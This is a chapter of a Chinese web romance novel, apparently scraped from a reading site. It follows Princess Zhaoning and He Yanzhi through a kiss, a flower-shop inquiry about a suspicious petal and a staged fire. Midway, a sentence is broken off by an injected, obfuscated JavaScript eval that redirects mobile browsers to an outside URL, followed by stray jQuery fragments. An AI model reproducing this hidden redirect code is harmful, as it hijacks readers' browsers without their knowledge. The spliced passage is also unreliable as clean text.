默认冷灰
24号文字
方正启体

31. 你是希望

作者:鹿栖鹤本书字数:K更新时间:
    浑身血液在这一刻停止,周围所有喧闹声都淹没在这一个吻中。


    一触即分,似梦一般,却又无法忽视唇上残留的温度。


    她怔在原地,只听得到自己擂鼓般的心跳。


    “你...”声音有着自己都未察觉地颤抖。


    贺砚知喉结滚动一下,眼中翻涌着难以言说的情愫。


    他修长的手指仍停留在她脸侧,拇指无意识地摩挲着她泛红的脸颊。


    “我...”他的声音比平常低沉几分,带着几番犹豫。


    朝宁心中莫名的慌乱,一切呼之欲出而又止。


    贺砚知的视线还落在那一处柔软,划过脸颊的指尖快要触碰。


    怀里的人儿侧过脸,他摸了个空。


    “那个…我在乐宴坊拿出一片花瓣…”朝宁声音渐弱,“需要去查证...”


    贺砚知轻柔地将她鬓边碎发别至耳后:"那便去查。"


    朝宁慌乱地将他推开,“去…花坊吧。”


    她甚至不敢转过头去看贺砚知,那种失控的感觉堵在心口,连同脑子也晕晕的。


    被推开的贺砚知向后踉跄两步,指尖不自觉地碰了碰自己的嘴唇。


    他望着公主仓惶远去的背影,心头漫上苦涩,“是不是太快了,吓到她了…”


    朝宁在人群中不断穿梭,贺砚知便在身后跟着,这一次她并没有缓下步子等他。


    说是去花坊,朝宁却只是在街上四处打转,摇曳的灯影,如同她纷乱的心绪。


    耳尖的热意久久未散,她的脑海里还反复闪过他们之间相处的画面,牵手、拥抱,不知从何时起,他们早已越过原有的界限,在无数个心照不宣的瞬间悄然靠近。


    在那一刻,朝宁不得不承认,贺砚知那双含情脉脉的眼睛却让她方寸大乱。


    所以,她与贺砚知…


    “朝宁。”随着一声呼唤,她的手被牢牢牵住。


    她慌乱转头,贺砚知立在流转的灯火深处,人潮如织,他却只凝望着她。


    不等朝宁开口,“不是要去花坊?”


    朝宁木讷地点点头,贺砚知稍稍用力将她带至身侧。


    “走错方向了。”


    贺砚知牵着朝宁,二人并肩走在街上,不过片刻,心境却与出府前大相径庭。


    “刚刚,是我唐突了。”朝宁听清了这句话。


    “没…没事,许是…”她也有些语无伦次,“本公主不计较…”


    不知又走了多久,尴尬的气氛始终围在二人之间。


    “和我说说。”贺砚知率先开口,打破这份沉寂。


    朝宁侧首望去:“说什么?”


    “今日乐宴坊发生什么事了?”他目光沉静,恰如其分地避开她眼底未散的慌乱。


    提及乐宴坊,朝宁神色变得严肃起来,“南灵未曾收到原定的献礼,唯有一箱花瓣送至她手。”


    “花瓣?”


    “归宁夜舞时,本要拉动二楼绸缎制造飞天之效。”她指尖无意识蜷紧,“但她接到的密令,是将缎带上放上准备好的花瓣,到时随绸缎一起飘下。”


    她回想起那花瓣触感,“送来只是普通的红色月季,仔细验过是真花无疑。”


    贺砚知静静地听完朝宁的话,“所以,想去花坊查查这花瓣?”


    朝宁颔首,“摩什为了这归宁节费尽心思,怎会只是放花瓣这么简单?为今之计,也只能查查这花瓣是否有问题。”


    他忽然收拢掌心,将她手指拢得更紧:"下次莫要独自涉险。"


    朝宁猝然转头,恰跌进那双映着万家灯火的眼眸,翻涌着担忧如网般将她的心缠绕。


    "我..."她长睫轻颤,终是低声应道,"知道了。"


    话毕,谁也没再开口,牵着的手也未放开,最终走到了花坊门前。


    鎏金的牌匾颇为气派印着“花坊”二字,这是京城最大的收售鲜花之地,据说前朝时也曾专门为宫里供花,一直流传至今。


    因着归宁节缘故,来这花坊买花的人是络绎不绝。


    贺砚知牵着朝宁的手,挤过围在门前的人群,花坊掌柜站在柜台前噼里啪啦算着账目。


    直到两个人影站在他面前才抬起头来,“二位是?”


    在京城混迹多年,从二人穿着来看,非富即贵,语气也客气起来。


    “想来求掌柜帮个忙。”


    掌柜皱眉,“我们这坊只是个卖花小铺,实在不知能帮二位什么忙?”


    “劳烦掌柜,瞧一瞧这是什么花。”朝宁去拿那被包起的花瓣,却才发觉贺砚知还在拉着她的手。


    朝宁朝着贺砚知飞去一个眼神,贺砚知才不急不慢地松开了手。


    这一路紧紧相握,两人掌间早已沁出薄汗。


    朝宁小心翼翼将帕子展开,里面那片红色花瓣已经鲜艳,万幸没有枯萎。


    掌柜接过花瓣,呢喃道:“看似像是月季...”


    他将这片花瓣至于烛火前,又仔细打量一番,随后点点头,“不会错的,这就是一个月季花瓣。”


    “当真吗?”


    “这花坊每日来来往往多少花,当然可以分辨,而且这只是月季,不算罕见,若是二位不信,也可到他处问讯。”


    朝宁接过花瓣放于帕子中,凝神不语。


    掌柜见状笑着打破沉寂:“明日便是归宁节,公子是否买束花,送于夫人。”


    坊内摆着许多花,每束都是被精心包起,贺砚知望向身旁出神的朝宁,“就要那束吧。”


    朝宁心绪始终缠绕在这片花瓣上,她怎么也想不通到底有何作用?


    归宁节在即,已无法阻止父皇游行,她第一次尝到无能为力的滋味。


    “给你。”一捧雪白忽然映入眼帘。


    朝宁接过来,颇为意外:“茉莉?”


    踏出花坊时,她左手捧着茉莉花束,右手被温热掌心轻柔包裹。


    “贺砚知...”朝宁轻声唤他,声音里浸着少见的迷茫,“你说,明日该怎么办...”


    “你已经做了许多了。”


    朝宁丧气地摇头,“终究是徒劳,我总是天真的以为自己真的能阻止一些事发生...”


    她望着长街熙熙攘攘的人群,“可从来没有成功过。”


    刺杀摩什失败,已未能阻止他进京,到如今,以为的胜券在握,不过又是被戏耍罢了。


    贺砚知未语只是带着她走到了醉月楼后。


    “那晚,房上美景却如殿下所言,今夜可否再睹一次?”


    最后,朝宁还是带着他再上醉月楼顶,今夜不如中秋那日月圆,心境也不似那晚。


    两人并肩坐在梁上,四周不再喧闹更显一份宁静。


    朝宁轻叹一口气,“说吧,为何偏要来此?”


    “我能唤你名字么?”贺砚知没头没尾地说了这句话,却让朝宁愣住了。


    “你...”转过头,正对上贺砚知的眸子,又让她想起那个莫名其妙的吻。


    朝宁别过头,“叫吧,在我这儿没有那么多规矩。”


    “朝宁。”贺砚知嘴角上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572754|187068||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扬,试探般唤了她一声。


    这一声随风落入耳中,她心口忽然泛起细密的悸动。


    贺砚知轻轻揽过朝宁的肩,温热的掌心贴着她微凉衣袖,朝宁猝不及防跌入他怀间。


    她僵着身子欲抬头,却被他以指尖轻抵发顶:"别动。"


    朝宁靠在他怀里逐渐放松下来,汲取他带来的安全感。


    “若不是你力证清白,救我出狱,或许我真已丧命。”贺砚知轻轻拍着她,“作为颐宁公主,你坚毅果敢,无人能及。作为朝宁....”


    他顿了顿,一字一句清晰落下,“你是所有人的希望。”


    朝宁强撑着心仿佛在这一刻土崩瓦解,含在眼中的泪一滴又一滴的滑落脸颊。


    贺砚知将她拥得更紧,掌心轻抚她微颤的后背。


    天边一朵一朵的烟花炸开,盖过了她压抑的抽噎声,不知相拥多久,贺砚知忽然听见怀中传来闷闷的声响。


    “贺砚知,我快被你闷死了。”


    朝宁从他怀中起来时,眼眶通红,泪痕犹在脸上未干,时不时还有泪珠滚落。


    贺砚知用指尖擦过朝宁的脸颊,“小哭猫。”


    朝宁气鼓鼓地转身,将自己脸上的泪水抹去,“都怪你!”


    “好好好,都怪我。”贺砚知扶住她肩膀轻轻转回,迫使她面对自己。


    “别总一个人扛着...”贺砚知捧着她哭红的脸,“现在我是你的驸马,你是我的妻子,可以试着依赖我几分?”


    朝宁被他逗笑,“你能做什么...”


    “自然是要公主殿下排忧解难...”


    贺砚知视线扫过街上人影,“是时候了,带你去看出好戏。”


    朝宁带着贺砚知下到醉月楼后巷,二人隐在阴影中静候,朝宁如何问他,贺砚知始终含笑不语。


    直到身后传来细微脚步声,朝宁警惕回首,却见来人是梁蔗。


    贺砚知见到梁蔗后,对他点了点头,却让朝宁一头雾水。


    “你们瞒着我什么?”


    “去了就知道了。”贺砚知自然地牵起朝宁的手,而朝宁也未反抗。


    梁蔗留在身后目瞪口呆,不过是出来放个花灯,两人的关系...动作如此娴熟,公主像是哭过...


    梁蔗打了个寒颤,不敢再想。


    贺砚知带着朝宁最后停在了乐宴坊门前,朝宁打量四周,轻声道:“这四周恐有摩什的人,为什么带我来这儿?”


    贺砚知没有回应她,再当朝宁想继续问时,轰然巨响撕裂夜空!


    乐宴坊二楼突然火光冲天,燃烧的黑烟四处飘散,乐宴坊中宾客惊慌失措跑出来!一时间整个长街乱成了一团!


    朝宁见状,刚要冲过去救火,便被贺砚知拉住。


    身后骤然传来整齐踏步声,一群执金吾恰时出现,顷刻间清空街道。


    这场火来得快,去得也快,不过半盏茶功夫,火已扑灭,坊内无一人伤亡,街上只剩下老鸨坐街哭喊着所有准备全白费了。


    朝宁全程目瞪口呆,等一切结束时贺砚知已经拉着她的手回家了。


    刚进庭院,贺砚知就被朝宁抓住了衣领,“说清楚,乐宴坊的火是你的手笔?”


    “既然摩什想让这花瓣出现在归宁节上。”他任她揪着衣襟,“不如直接毁了,只是场意外,无从查证。”


    趁她凝神,贺砚知搂过她的腰,将人整个带到身前。


    朝宁并未闪躲,反凑近他耳畔,“贺砚知,一向儒雅著称的右相,做事竟也这般狠辣。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)